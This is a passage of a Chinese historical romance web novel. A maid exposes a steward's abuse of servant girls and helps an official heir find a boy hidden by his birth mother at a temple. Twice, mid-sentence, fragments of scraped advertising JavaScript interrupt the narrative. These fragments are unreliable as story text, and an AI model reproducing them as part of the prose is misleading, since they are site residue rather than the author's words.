陆执方想不起缺什么,亦不知她偷偷瞄他的好奇目光是为何。他不好盯着丫鬟看太久,很快走了。 没走出几步,就听见身后丫鬟们如蒙大赦,自以为低声地唏嘘感慨。 “都说了不走这条道,果真撞见世子爷了。” “连碧说这条道回去快嘛。” “还说呢,是谁磨磨蹭蹭的。” …… 木樨拧眉,世子爷还没走远呢,这般沉不住气,小丫鬟规矩真没有学好,得同高管事好好说说。 他再觑一眼世子爷,陆执方狭长眼眸里竟闪过点笑意,难得没让他去敲打那些丫鬟府内不得喧哗。 大太太苗斐住在清夏堂。 院门丫鬟来通传时,她正在看一封邀她到恩孝寺礼佛的帖子,闻言放下了帖子,“让执方进来。” 陆执方换了身宽松直袍:“给母亲请安。” “衙门就这么忙,庐州回来都没歇几日,就赶着去点卯了。”苗斐看儿子脸颊比出公差前瘦了一圈,皱眉不满。别家都是气儿子不成器,她恼他太上进。 “告假都有定数,出公差前定好的。” 陆执方还在以微微躬身的姿态立定在她跟前。 苗斐默了默。 小儿子出生前后,陆执方刚入仕,她忙亲力亲为照料孩儿,陆执方一心扑在仕途,明明同住一家,不知不觉就生出一种距离感。说生分吧,日日请安问候都不落下,说亲近吧,他心头想什么,她全然不知。 若不是今日一早,高扬就等在前院。 她还不知道陆执方逼着韩长栋把府里总管钥匙和账册都交了。府里上上下下那么多口人,关系错综复杂,韩长栋不是无缘无故坐上的管事位置。 “韩长栋的事,是什么章程?你同母亲说说。” “叫他腾出位置一阵子,给高扬练手。父亲若是问起母亲,您就说是我的主意,有危机才不懈怠,再闹出像昨日寿宴那样的事。” 管事是家主的左膀右臂。 韩长栋是老管事病故后接任的,这两年办事中庸无功无过,凭陆执方对自己父亲的了解,光是一个色字,还触不到父亲的逆鳞。他需要有更大的罪过。 苗斐不太相信:“就这样?他没讨你嫌?” 陆执方面不改色:“那母亲觉得,是何缘由?” 她要是知道,还犯得着猜测半天。苗斐还想再套他几句话,院门丫鬟又来传:“太太,大姑娘来了,手里提了个食盒子。蓝雪说是姑娘亲手做的点心。” 苗斐心里一软,嘉月这孩子。 镇国公府大姑娘陆嘉月慢慢踏进来,百迭裙上的彩线绣双蝶活灵活现,随着她迈步蹁跹若飞。 这一刻,陆执方终于想起缺了什么。 廊芜之下,梳单螺髻的少女蛾眉轻扫,桃颊薄粉,菱唇一点润泽,只轻妆淡抹,就有十二分好颜色,偏生整个人套在了一身黯淡发灰的棉袄里。 就像掩藏在稻草里的珍珠。 那身棉袄,那座简单到有些粗陋的后罩房,与她根本不相衬。陆执方走神,手臂被妹妹轻拍了一下,回过味来被自己突兀的想法惊了一下。 8. 第 8 章 清夏堂里。 陆嘉月轻轻拍兄长的手臂。 她眉眼弯弯,眼里盛满期待,嘴唇翕动数次,却没有发出半点声息。贴身婢女蓝雪轻声道:“世子爷,姑娘问你要不要尝尝这梅花饼?” 陆执方从陆嘉月带来的食盒中捻起一块糕点,认真尝了尝,“糖下得恰当好处,不腻味。” 陆嘉月笑起来,明眸皓齿,整张脸容光熠熠。 她并非天生口不能言,也曾伶牙俐齿,全怪少时生了一场大病,从此落下哑疾。幸而蓝雪从小伺候她,两人形影不离默契十足,蓝雪能从自己的手势与表情,将意思传达得八九不离十。 陆嘉月牵了牵兄长的衣袖,示意他留在清夏堂用晚膳。陆执方应下,再出来时晚星寥落,庭院中疏灯几盏,荆芥的身影悄然从树影中转出。 “爷,馥梨姑娘又往畅和堂去了。” 陆执方把方才在脑海里盘亘的突兀念头抹去,“畅和堂还有她,往后都不必再留意了。” 韩长栋的事,他有失察,起初以为是某种顽劣的报复,未曾想过是势弱者迫不得已的自保。 既有亏欠,理应补偿。 叫高扬多些关照洗衣房,再把韩长栋这个隐患彻底除掉,就足够了。再多了,只会越界。 畅和堂那头,馥梨还待在小树林里。 一张对照水盆画的自画小像,被她小心翼翼折进纸蜻蜓里,想叫阿娘也看看,她今日打扮得很漂亮,过得很开心。 老树似在应和她的愉悦,明明距离早春还有些日子,枯瘦枝丫的末端早冒出一颗颗新芽。馥梨提灯照了照,尚看不出绿意,在灯光下显出几点嫩黄。 春天快些来就好了。 气候暖和了,浣洗衣物时手就不痛不僵,人也不用套在厚实笨拙的袄子里。她步子轻快,穿越小树林到月洞门,这次月洞门下没有骄矜的世子在等着了。 馥梨缓缓松一口气,她怵陆执方。 不是府里丫鬟们觉得他严厉冷淡,叫人难以亲近的那种怵,而是世子太敏锐,她试图糊弄某些事情找的大大小小藉口,总被勘破。 她回到后罩房打来清水,洗脸擦手,将脸上薄涂的脂粉抹去,单螺髻拆散,用手指通顺长发。快挨着后罩房熄灯的时辰,转头见四喜还是白日的装扮。 “馥梨,我好想把这妆一直贴在脸上啊。” “不洗净,明日或许要长面疮的。” 四喜嘴上能挂油瓶,闷闷去洗了把脸,拿后脑勺对着馥梨,请她帮忙拆百合髻,等半天不见她动作。 “怎么了?” “别动,我研究一会儿。” 馥梨将她脑袋按轻轻回去,“我好像知道怎么梳啦,明儿给你梳个一模一样的。”后罩房的丫鬟们一听,都感兴趣地凑了过来围观。 好几日过后,等高扬再去洗衣房时,察觉丫鬟们似都收拾得讲究了些,一个个瞧着精神利索。 陈大娘擦净手上水珠,“高管事有何吩咐?” 高扬道:“明儿十五,大太太要带姑娘们去恩孝寺礼佛,还缺两个使唤的丫鬟,想从大娘这里调。” 大太太身边不缺用惯的贴身婢女。 恩孝寺路途遥远,为安全着想,府里连护卫都要派够二十人以上,能使唤跑腿的丫鬟便要跟着添。 这是从前洗衣房轮不上的好差事。 陈大娘一听,就想报两个机灵有眼力见的丫鬟,却见高扬的目光在搓搓洗洗的丫鬟中转悠,竟像是在找人。“高管事看哪个中用?都是乖巧伶俐的。” 高扬状似不经意一指:“就水井边上那俩吧。” 陈大娘一看,是正在打水的桂枝和馥梨。 高扬交待完杂事,又看了一眼馥梨才走。 静思阁嘱咐过,多关照洗衣房里叫馥梨的丫鬟,但不能太特殊。他一时拿不准世子的态度,若是三公子暗示他如此,那很快就会把人收了当通房。 可世子的人叮嘱完,便没再来问过。 高扬一心挣前程,那眼神在陈大娘眼里却可疑。 她将桂枝同馥梨叫回房里细说明日事,心道高扬莫不是第二个韩长栋,就听见馥梨问:“明日跟车去伺候,我能见着大太太的面吗?” “见着了,你要如何?” “大娘,我想把韩长栋的事情同大太太说。再过几日就没有这样的机会了。” 馥梨远远见过大太太苗斐,每次身边都簇拥着好些人,像她们这样的粗使丫鬟很少能凑近。 陈大娘不赞同地盯着馥梨好一会儿,“这事没你想的那么简单。要是太太不信你怎么办?信了只小惩大戒怎么办?姓韩的变本加厉报复你怎么办?” 陈大娘每问一句怎么办,旁边桂枝的脸色就煞白一分。她担心地抓住了馥梨的手,“要不就……” “不能算了。”馥梨声音还是她惯常说话那样,轻轻柔柔到有些温吞,她反过来握着她的手安抚,“这事要有人管的,就算太太只是小惩大戒,我也乐意说。” 有的人瞧着软绵绵,骨子里是个倔的。 陈大娘见劝不动,从自个儿装钱的匣子里挑出一粒小银子并几串铜板给她,“大太太身边那些嬷嬷,就是第一道门,敲不开门,你别想见了。” 馥梨掌心捧好钱,露出感激的笑。 翌日,晓星寥落,晨光映漭。 镇国公府浩浩荡荡的车马队伍就出发了,行至西鼓楼巷道停驻,待太常寺少卿府的人汇合再启程。 大太太苗斐交好的族妹,就是嫁到了少卿府的苗慧,这次去恩孝寺礼佛,也是受她邀请。 苗斐三十出头,保养得极好,披着一条珊瑚红的软狐裘,一手捧着暖手炉,一手牵着个锦衣小童,给他理了理衣领,“待会见到人,要喊姨母,知道吗?” “我有姨母。”小童嘟嘟嚷嚷。 苗斐语气沉下去:“丞儿听话。” 小童不吭声。 “你今日表现好了,明早可以晚半个时辰起来。” “——哦。” “蒋修丞,你给我好好说话。” 镇国公府的马车驶近,贴身伺候大太太的方嬷嬷笑脸下来,摆好脚蹬,“太太一早起来就念叨呢,可想见见这位小外甥了。” 苗斐严厉的脸色一缓,牵着锦衣小童入了马车。 恩孝寺距离极远,行至晌午,才到山门。 苗斐带着陆嘉月,苗慧带着小郎君,去到寺庙安排好的客寮休憩,随行护卫和杂役留一半在山门。 馥梨和桂枝就归拢在杂役里头。 她从马车上跳下来,踏上结结实实的地坪,路途那种左摇右晃的感觉还如影随形,好一会儿才散去。朝食的葱油饼早消化完了,此刻腹中空空,很饿。 留守的某个嬷嬷点完人数,指挥她和桂枝,“快些去香积厨领斋饭,拿着这个牌子去,晚了没好的。” 馥梨同桂枝跑进跑出,人多斋饭重,食盒装得满满当当,好几趟还没送完,自己饿得快没力气了。 这样下去不行,馥梨想了想,往后厨去。 “小姑娘打哪儿来的?这里是后厨!别乱跑。” 后厨出来个模样姣好的年轻妇人,两颊凹陷下去,神情中总有些悲苦的味道。她手里握一柄木勺,警惕地看探头探脑的馥梨。 馥梨递了镇国公府在恩孝寺客寮的牌子,“我来替随行杂役领斋饭,想问后厨有没有拉车可以借用?” 厨娘的戒备松了,“有,用完记得给送回来。”她勺柄一挥,指了指窗边,继续去灶台忙碌了。 馥梨同桂枝连忙道谢。 后厨收拾得齐整干净,东边格栅窗下排了三个从低到高的大瓦缸,其中一个飘出浓浓的腌菜味,就是灶台正在烧菜都没完全掩盖那味道。 小板车斜立在一侧,靠着瓦缸。 两人走到窗边,合力将板车平放。 桂枝拉了下车头,没拉动,见馥梨还在盯看那些缸缸瓮瓮,轻声催了句,“快些走吧,送完护卫的斋饭,咱就能吃上了。” 馥梨按着车板的手一松,同桂枝将车推出后厨。有了小板车,只跑一趟,就将斋饭送齐了。 再过个把时辰,是恩孝寺法会,方丈开坛讲经。 恩孝寺香客渐渐多起来,帮忙筹备法会的清修客和僧人亦频繁走动。馥梨觉得,最适宜同大太太告状的时机,就是在法会开始之前。 她吃完斋,守在大太太的静室门前。 好不容易等到大太太婢女端着用过的斋饭托盘出来,就要上前,却被东走廊出来的一对母子抢了先。 那妇人衣着华美精致,可见养尊处优,牵着的锦衣小郎君皮肤黝黑,像是夏天走街串巷晒成的肤色。 两人进了大太太的静室。 馥梨顿步,抱臂在冷风中等,冷了蹦几下再转悠一圈。门口的方嬷嬷朝她招手,从兜里掏给她一颗热乎乎的烤红薯,“太太赏的。” “谢谢嬷嬷。”馥梨双手接过,捧着暖手。 “小丫头,你怎不去山门马车里躲懒?” “我同桂枝说好了轮换,怕太太和姑娘还有用得着的地方。”馥梨看向门扉,“刚才哪位夫人进去了?” “是太太亲近的族妹,少卿府夫人和小郎君。”方嬷嬷努努嘴,“小孩儿坐不住,我猜等下就要出来。” 话落地还没一刻钟,屋门被大力推开。 只有锦衣小郎君自个儿,身后跟着伺候的婢女。 他人小腿短,跑得却快,一阵风儿刮过似的,嘴里还厉害着:“你能不能别跟着我?烦人,烦人!” “公子自去玩耍,奴婢就远远看着。” “看着也不行!我看见你就烦!” 婢女哪里敢就让他跑了,提着裙裾在拼命追。 方嬷嬷笑着摇头:“来的路上,少卿夫人数落他念书不够认真上进,小郎君闹了好一会儿脾气呢。” 又有好一会儿,少卿府苗夫人出来了。 馥梨待她走远,手里的烤红薯也冷了,此时不说回程更难有机会。她将红薯塞到左边衣兜,再从右边掏出早准备好的碎银铜板,往方嬷嬷手里一塞。 “哎,这是做什么?” “嬷嬷,我有事情想禀告太太,要见一见她。” 方嬷嬷神色变了变,掂掂那些钱,“你先说说,是什么事情?”要是些针头线脑的琐事,她把人放进去,没准就要在太太那儿落得个不知轻重的印象。 “不是一两句话能说清楚的,我想见了太太再说。”馥梨眸子乌润,强迫自己泛出些泪意,瞧着楚楚可怜。方嬷嬷叹口气,“我先替你去问问。” 没多久,屋里就传来方嬷嬷喊她的声音。 清幽雅致的静室里,大太太苗斐和大姑娘陆嘉月分坐在竹榻上,中间隔着一张摆放瓜果蜜饯的卷几。 馥梨没料到陆嘉月也在,愣了片刻。 苗斐看她的目光也有些纳闷,是新来的丫鬟吧?长得这般标志,她要是瞧过,心里该有印象的。 “方嬷嬷说,你有事要禀告,是什么事?” 馥梨菱唇动了动,没说话。 苗斐催促,“法会快开始了呀。” 竹榻下摆着几张藤编的蒲团。 馥梨端端正正地半跪下去:“婢子想求太太为所有受过韩管事欺压的丫鬟作主。”她一开口,苗斐就变了脸色,想叫陆嘉月一未出阁的姑娘家避开着些。 可馥梨语速快,像是心里想过很多遍的。 “管事韩长栋色欲熏心,一直借职务便宜,伺机轻薄前院的粗使丫鬟,若有不从的,就扣押工钱、发卖出府。一年前洗衣房的丫鬟落霜就是想要到太太跟前求助,才被他寻了个错处,随意发卖出府去的。” 苗斐愣了,这个叫落霜的她有印象。 当时闹得沸沸扬扬,说是偷了管事房东西。 陆嘉月亦惊讶,听到馥梨说,韩长栋下手挑的都是家里没倚仗,没人脉背景的孤女,更是拧紧眉头。 馥梨说完了,喉头有些干。 苗斐半天没讲话,还在消化她说的事情。她固然不能相信小丫鬟的一面之词,可此事对女子声誉有损,馥梨愿意讲出来,她已信了七八分。 遑论她还说得条理清晰,不似随意构陷。 苗斐想起女儿还在身侧。 她推了推嘉月,要叫她回隔壁屋,门外传来方嬷嬷错愕的低呼,“哎哟,少卿夫人,先等我通传……” “我等不及了,斐姐姐,斐姐姐!” 苗斐抬头,就见族妹苗慧不顾礼数,直接推门而入,半点眼光都没分给跪在蒲团上陈情的馥梨。 “斐姐姐,丞儿有回你这儿来吗?” 不等苗斐回答,苗慧已动起来。 恩孝寺收拾给镇国公府的静室,是最宽敞舒适的一间。可寺中清简,再体面的静室也是目光一扫,轻松绕两圈就能看得一清二楚的,蒋修丞不在。 苗斐正满脑门官司,不差多 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她这一件,“丞儿没有回来我这里,你慢慢说,究竟发生何事了?” “丞儿不见了,婢女没看住,不敢往我这里报,实在找不到了才来,等我再发散侍从去找,各处都不见踪影了。”苗慧失魂落魄,扶着木桌,快要站不稳。 馥梨回忆她看见的场景。 “苗夫人有找过后山那片吗?我恰好见小郎君推门出,是往侧门通往后山方向去的。” 苗慧木然摇头,“婢女也是这么说的,找过了。” 苗斐看一眼,就知道族妹此刻已没了主心骨。 这次礼佛,她本也要带小儿子来,是临行前听到执方说近来京畿周边幼童报失多,有蔓延到皇都中的趋势,苗斐才改了主意,就带嘉月过来。 若是一时走失,只要还在寺庙,掘地三尺总能找到,就怕是遇上了歹人。 念及至此,她把方嬷嬷喊进来,“叫山门处的人都帮忙找,庙中方丈也去通知。”再睨了一眼馥梨,“你既然认得小郎君,你也去找,旁的事情等回府再说。” 馥梨没耽搁,起身拍拍膝盖,就同方嬷嬷去了。 镇国公府的人把搜寻重点放在后山。 一直找到日落西斜,林中金灿灿的日光穿过树影斑驳,都毫无所获。恩孝寺的光头小师父找到馥梨,合十见礼:“可是馥梨姑娘?” “我是,蒋小郎君找着了?” 小师父摇头,“苗夫人报官,官府已将山门封锁。官差说今日接触过、见过小公子的人都要问话。馥梨姑娘请随小僧来。” 馥梨匆匆跟去,来到偏殿一间屋前。 屋外有佩刀官差把守,镇国公府同少卿府的许多仆役排成一列,正在等待问询。 馥梨等了许久,才轮到她进去。 屋内堪称空荡,红木长条案后坐了一人,正翻看一副地图模样的纸页,缎面官服上是绣工精巧的瑞兽图腾,衣领挺括板正,露出一线白绢中单。 同她那日廊下所见一模一样。 是穿绯红官袍的陆执方。 双梁乌纱帽端正戴着,更显得凛然不可侵犯。 陆执方眼皮未抬,手指一张鼓凳,“坐”。 馥梨坐过去,双手交叠在膝上。 临时腾出的讯问室空旷,鼓凳摆得离长条案远远的,设在整间屋的中心,人一坐下,就有从四面八方被审视、被探究的感觉。 陆执方身侧的书吏发问:“姓名?什么身份?何时最后见过蒋修丞?” “镇国公府的粗使丫鬟,名叫馥梨,约莫一个时辰前,见过蒋小郎君从客寮侧门跑过。” 陆执方听到熟悉的声线,默然抬首。 镇国公府极大,他出入只走西门,往长辈处请安只走西路,有些地方全然不会再经过,有些人全然不会再碰见。就连小重楼外的那些草,他都叫人拔了。 书吏按部就班,一模一样的问题,问了馥梨。 得到的回答同前边那些人大同小异,“当时蒋修丞或他的婢女有何异样之处?或者值得留意的地方?” 一般问到这里,就是差不多结束的意思。 鼓凳上的丫鬟没有民见官的局促惊慌,脸上露出仔细回忆的神色,“小郎君很抗拒婢女跟随,一直想要摆脱婢女的视线,此处之外,没有了。” 书吏记录的手一顿,望向陆执方。 陆执方看馥梨,“他当时说了什么?” 馥梨将小郎君和婢女的对话复述了一遍,尽量不漏掉细枝末节。陆执方接过书吏递来的记录,“辛苦,李大人先出去歇息吧。” 书吏一愣,道了句“下官告退”,起身离去。 馥梨从那推开又阖上的门缝里,瞧见了月亮。 已经天黑了,小郎君还没找回来,无论是走丢了还是被绑走,都不是好预兆。 “陆大人,蒋小郎君是遇到歹人了吗?” “目前还没有证据。” “今日能找回来吗?” “若他还在寺庙里,就肯定能。” 陆执方打量她一会儿,声音淡得毫无好奇之心,偏拣了个无关紧要的问题,“头发怎么梳回去了?” 馥梨微愣。 陆执方问得很淡然:“同那日不一样。” “那日是哪日?” “你知道哪日。” “那是出府逛街玩才有的,胭脂铺免费梳的。” “那别的丫鬟怎么还有?” 馥梨想了想,世子说的或许是桂枝。 她那日研究了所有光顾脂粉铺子的丫鬟的发髻,琢磨了差不多的梳头方法,后罩房手巧的都学会了。 陆执方抖了抖证词,纸页微微作响。 馥梨回神,揪了揪衣袖,“冬天冷,我想多睡一会儿,梳精巧的发髻很费时间的。” “何时要起?” “卯时三刻。” 同他要上早朝的时辰都差不多了。 陆执方略微意外,想到陆嘉月同她这般大时,也是缺觉的。屋内静了一会儿,他手指点点案头,“你过来,这里签个名字。” “到时辰了么?” 馥梨疑惑地看案头的小香炉,还剩小截未燃尽。 “你知道香炉的用处?” “我看之前每个人进来问话都是差不多的时间,这香点了,难道不是用来计时的?” 陆执方深目看了她一眼。 的确没说错。 这是衙门惯用的审讯技巧,每个证人盘问的时长一致,避免有心人揣测、加害、单独打探消息。 正因如此,他才会在空白的时间里,肆无忌惮地问她与案情毫不相干的,他却想知道的问题。 “来签字。” “好。” 穿着灰扑扑棉袄的姑娘,从鼓凳上跳下,走到他案前,梳得潦草的发缝冒出草儿似的小头发。她熟练地握起毛笔,一笔一划写下自己的名字。 馥、梨。 依旧是他喜爱的,有灵秀气韵的笔迹。 依旧困在与她不相称的境遇里,得自在闲适。 陆执方垂眸,视线落到她那双手上,食指和中指的指节有两颗冻疮没好,泛起点红色。小姑娘搁下笔,拿左手衣袖去用力擦发痒的地方。 一遍,两遍,三遍,毫不惜力,以痛止痒。 陆执方反应过来前,手已扣了上去。 不禁微微一哂,活了二十三年,从没哪一刻觉得自己这般像登徒子,但没关系,他认了。 9. 第 9 章 馥梨手腕一紧。 她低头,瞧见陆执方骨节分明的手从官袍阔袖里出来,两指扣住了自己手腕,尾指扫过她手背,透出干燥温热的触感。 “世子?” “长冻疮这么挠,谁教你的?” 他语气很理所当然,仿佛入府第一日,陈大娘来监督她浣洗衣裳——“绉纱裙这么拧,谁教你的?” 世子的表情亦很正经,充满了质疑与不赞同。 馥梨一时忘了自己最先开口要深究什么。 “我……痒得厉害。” “痒了涂药,去高扬的管事房拿,同他告三日假说手不能碰水。”陆执方松开了她的手,坐回位置上,递给她一叠记录,“你既识字,按姓氏的笔划从少到多,这叠记录整理一下。” 馥梨接过去,见陆执方依然在研究那张恩孝寺的地形图,不时用墨笔圈出几个地方。 小香炉里,最后一点香灰飘落下来。 馥梨将整理好的记录递过去。 陆执方从红木案后绕出来,地形图折入袖中,“两刻钟后,所有人要去正殿集合,你去客寮知会我母亲和少卿夫人一声。” 大太太的静室前,守门的方嬷嬷走开了。 馥梨敲了门,里头无人应答,只传来苗夫人歇斯底里的声音,短短几个时辰,她似乎已从孩儿失踪的惊惶无措里,衍生出一种怨怼。 “我待他还不够好吗?吃好的穿好的,读书写字的笔墨砚台都给他买最好的!” “我真心实意把他当亲生儿子看待,他呢?” “成日里只知道同胡同巷子那些没根没底的孩子瞎胡闹,这样我们如何放心把少卿府家业传给他?我看他就是故意躲起来,不想回少卿府!” “斐姐姐……他就是个养不熟的白眼狼!” 馥梨心头一跳,定定神,再用力敲门,“太太。”里头声音戛然而止。 半晌,苗斐喊她:“进来。” 馥梨进去,见苗慧一双眼眸哭红,神情里的愤懑未能妥帖收住。小郎君原来并非苗夫人亲生的,怀疑那他自行偷跑离开,并非没有可能。 馥梨将众人需要到大殿中集合的消息转达。 苗斐拍拍苗慧的肩膀安慰:“你先别多想,天黑了不安全,孩子找回来最紧要。先去正殿配合官府。” 众仆人前前后后,簇拥着苗斐与苗慧去了。 馥梨环顾一圈,见正殿每个出口都有官差把守,殿内有三两官员,唯独不见陆执方。 佛像在数百盏长明灯的映照下,浑身被镀上一层金辉,垂眼望座下芸芸众生。这次满殿的人不再是为祭拜而来,都将目光投向了头戴乌纱帽的官吏。 那官员白面微须,约莫四十出头,开口讲的官话并不标准,带点儿口音,“本官是长兴县知县张昭,接到恩孝寺来报有香客家的幼童走失。经过搜查,现已掌握了重要线索。” 他顿了顿,袖子里掏出一片团花纹图案的锦布,命人递给了苗慧,“不知苗夫人可认得这块布?” 苗慧接过辨了辨:“是丞儿的,他今日穿的锦袍就是这个花样的!张大人,丞儿是不是找到了?” “苗夫人稍安勿躁,这片碎布是在客寮西墙的狗洞里找到的。有人见到小公子衣衫完好地跑出了客寮,衙役却在狗洞发现碎布,说明小公子实际去而复返,极有可能还在寺庙,乃至于客寮附近的区域。” 被滞留不得出的众人议论纷纷。 张昭走到苗慧近前,“本官还想请苗夫人再闻一闻,这片碎步上的气味?” “气味?” 苗慧茫然,将碎布放到鼻尖下,什么也没闻到,只觉佛像下香烛燃烧的味道还更强烈些。 “没什么气味啊……” “请苗夫人再仔细辨认。” 苗慧脑子里乱糟糟的,使劲嗅了嗅,“丞儿还小,并不佩戴香囊香药,这布料除了皂角香胰,就是府里惯用的熏香……”这些不是她闻出来的,是推断的。 “没错,就是贵府熏香的气味!” 张昭朗声接话,“走失幼童是少卿府家的小郎君,吃穿用度都讲究,就连衣裳上也有特殊香气,就算是用其他气味强烈的东西也无法掩盖。” “本官管辖的长兴县衙豢养了一批嗅觉极为灵敏的官犬,多次协助破案,眼下官犬由巡捕牵着,就等在山门处,随时准备进来搜查。” 张昭话落,人群中不知是谁附和,“对对,我就是长兴县来拜佛的,上次我丢了个荷包,都被偷儿带出五里地了,全靠巡捕用官犬找回来的!” 真有这般神奇? 其余周边县的百姓诧异,苗慧心里燃起了希望。 张昭清清嗓子,“此时叫各位过来,是为说明,这批官犬虽嗅觉敏锐,但性情难驯,为避免误伤,接下来一个时辰内,请各位到官差安排好的地方静候,切勿随意走动。否则,被官犬咬伤的后果自负。” 民众里有不满的,抱怨两声,看见配着雪亮弯刀的官差,悻悻收声。官差指挥人往两个方向走,并不紧贴随行,只不远不近地呼喝着。 此刻,陆执方正在藏经楼顶,凭栏远眺。 此处占恩孝寺所有屋舍楼宇的地势最高处,可一览正殿东西两门涌出的人群,大多数人听令行事,少数人趁官差不注意,或故意落后,或拐入墙角。 西南、东南、正北方都有人脱离队伍。 陆执方择了一处去跟,其余两处交给荆芥和长兴县衙差。脱离队伍的人鬼鬼祟祟,遁入伽蓝殿后一间厢房,进门前还左顾右盼,看有无尾随的人。 陆执方一挥手,随行衙役踹开了房门。 厢房之内,男人目瞪口呆,手刚打开了功德箱的锁,掏出了里头香客捐赠的香火钱。衙役一左一右扣住他肩膀,“旁人都听候命令配合搜查,为何你独自潜藏在此?蒋家小郎君的失踪与你有何干系?说!” “冤枉啊!我、我连他长什么模样都不知!” “那你为何偷偷摸摸到这儿来?” 衙役还待再问,陆执方已转身走了。 “小陆大人,这人不管了?” “浑水摸鱼偷香火钱的,扣起来,事情了了再交给方丈处置。”陆执方回忆藏经楼看见的其余两个方向。 恩孝寺有法会,山门处特意安排僧人迎客。 访客大量进入的时辰,任何离去的人都会留下深刻印象。僧人说没有同蒋修丞年纪相仿的孩童离去,加上张昭的人在墙根狗洞处找到的衣料,他断定蒋修丞还藏在寺庙里。 一个小小孩童能藏匿如此之久,定然有熟悉寺庙内部的人在操控。而要避免蒋修丞的藏身之所被官犬找到,将他身上衣袍脱下来,误导视线是最好办法。 所以藏匿他的人会脱离人潮,去接触蒋修丞。 石道另一头,荆芥亦在找陆执方,且脚程更快,找到了人,“爷,香积厨后头有动静,就是……” “说。” “就是馥梨姑娘也在里头,”荆芥纳闷,“属下不知是她先找到了蒋家小郎君,还是……” 他一介武夫,查案的事情属实一窍不通。 陆执方加快了脚步,“先带路。” 十五月圆,云雾稀薄,清辉亮得惊人。 馥梨在不燃灯的后厨里,借着月色,看清楚眼前人,心头亦是一颤。不久前见过的蒋家小郎君,锦衣华服,头戴玉冠,如今可怜巴巴地缩在一个腌菜的大瓦缸里,形容狼狈,满身酸味。 若非瓦缸背面靠墙处,特意开凿了几个通风小洞孔,这孩子就快要呼吸不过来了。 她找到一盏小灯点燃,在厨房灶头的抹布上,擦干了手上粘着的腌菜汁水。 蒋修丞脸上不知是汗是泪,稚气的脸庞看着她,不见惊慌,“你是谁?少卿府的婢女?” “我不是少卿府的,是镇国公府的。” 馥梨抖了抖抹布,翻出来还算干净的一面,在蒋修丞狼狈的脸上抹了一把,“小郎君,苗夫人和少卿府都很着急在找你,跟我回去吧。” 她搁下抹布,要把蒋修丞抱出来。 蒋修丞拼命挣扎,缩回瓦缸里,对着横在面前的胳膊就是一咬,跟小兽似的,叼住了就不肯松口。 馥梨一下子痛得倒抽冷气,“你再闹,把官差引过来,帮助你藏在这里的人就要被定罪捉走了!” 蒋修丞愣住,松了牙关,嗫嚅道:“没人把我藏在这里,是我自己不想回去,我自己藏的。” “缸快到你胸口高,你自己如何躲进来?” “我……反正我就是想办法自己躲进去的!” “好,你自己躲进来的,现在快些回去。” 他对上馥梨有几分着急的眼神,试探着问她,“官差真的来了吗?我母亲报官了?” “已经把恩孝寺团团围住了,谁都出不去。” 蒋修丞信了七八分,忽而害怕起来,软软改了口:“姐姐,我跟你回去,但是你不要告诉我母亲,我躲在这里,你就说是在后山那片找到我的。” 馥梨不答,向他伸出了被他咬过的那只手。 “你先答应我,我就出来。”蒋修丞很坚持,额头上还不伦不类地沾了半片腌菜叶子。 “那你为何要独自藏在此处?” “我不想回少卿府……我想回家,回我自己的家。”蒋修丞一开口,声音哽了哽,忽而藏匿大半天的满腹委屈担忧涌上来,眼泪说掉就掉。 馥梨去擦,只越擦越多。 她看了看月亮上移的位置,“你先出来。” 蒋修丞的手搭过来,任由她半搂半抱,将他带离装腌菜的大瓦缸。他吸了吸鼻子,不复面对少卿府婢女时的骄纵:“姐姐,你快些答应我。” “小郎君,我……” “她说的不顶用,你不妨哭给我看。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>屋门蓦地被推开,青年长身玉立,冷着一张铁面无私的脸,身后是荆芥、长兴县衙役几人。衙役手中还押着一个妇人,死死捂着她的嘴不让发声。 那妇人模样姣好,两颊清瘦,浅淡的眉头紧锁,此刻正盯着后厨房里的馥梨和蒋修丞,拼命挣扎要从衙役手里脱身,拉拉扯扯间,露出两条手臂上的斑驳伤痕。是白日里借给过馥梨和桂枝小板车的厨娘。 馥梨猜测成真,一颗心沉了沉。 蒋修丞看到妇人,先是一喜,继而越过馥梨跑过去,对身材魁梧的衙差毫无章法地拳打脚踢起来。 “你放开她,放开我阿娘,放开!” 小孩儿一股蛮劲,乱拳之下有那么一两捶是真痛。衙役龇牙咧嘴,偏不敢还手:“小陆大人?” 陆执方手指虚空一点:“松了。” 妇人被松开钳制,扑过去把蒋修丞抱在怀里,仿佛是失而复得的珍宝,眼泪簇簇落下来,“丞儿……” 陆执方没理会哭成一团的母子,入了后厨,停在蒋修丞藏身的瓦瓮前。盖子已被挪开,竖立在一旁,缸口挂了十多颗蔫巴巴的腌菜。 每一颗都以反常而整齐的模样,交织在一起。 陆执方举起一盏小油灯,照近去看。 原是菜头部位用细线穿梭,再密密缝进了一片与瓦瓮同色的纱网中。他寻到一根烧火棍,挑起缀满了腌菜的纱网,拨到跟随进来的捕头脚下。 “后厨房,我记得刘捕头说,搜过两轮了。” “是,是卑职的人办事不利,搜查时候不仔细。可我们也没成想,这妇人如此狡诈啊!她早有预谋!” 刘捕头脸色快赶上地上菜色,瓦缸味儿忒冲鼻,掀开看都觉得熏眼睛,有谁想到还要拨开看,更别提想到锦衣玉食的小公子会盖在满是腌菜的纱网下。 “那她如何想到?” 陆执方那根烧火棍一点,点在馥梨脚边。 刘捕头脸色萎靡,哑口无言,余光瞄见陆执方走了,灰溜溜跟过去,再去看蒋家小郎君和那妇人。 妇人哭过一顿宣泄,似已经认了命,摸摸蒋修丞的脸颊,“是阿娘一时想岔,办了糊涂事,你回去好好念书,好好孝顺苗夫人,不要总惹她生气。” 蒋修丞知道不好了,只抓着她不肯撒手。 可阿娘别过脸去不看他了,面容肃穆的衙役大叔也不分眼光给他。他满心惊惶,想到馥梨之前说的,阿娘要被定罪抓走,猛地转头去看馥梨。 馥梨朝他极轻微地摇头,视线看向了陆执方。 陆执方正在用帕子,慢条斯理擦拭烧火棍粘在他掌心的一层浮灰。忽地,一团软绵朝他扑来,把眼泪抹在他腿上,可怜巴巴地哀求:“官老爷,你不要抓我阿娘,是我自己躲起来的,不要抓我阿娘!我同母亲拌嘴了,想独自躲起来气她。” 小孩儿说得颠三倒四,左一个阿娘,右一个母亲,哭得连声音都变调了。现场不少家有同龄小孩的衙役都露出几分同情的神色,给富贵人家当养子,却不忘生母恩情,好孩子啊! 荆芥却目瞪口呆。 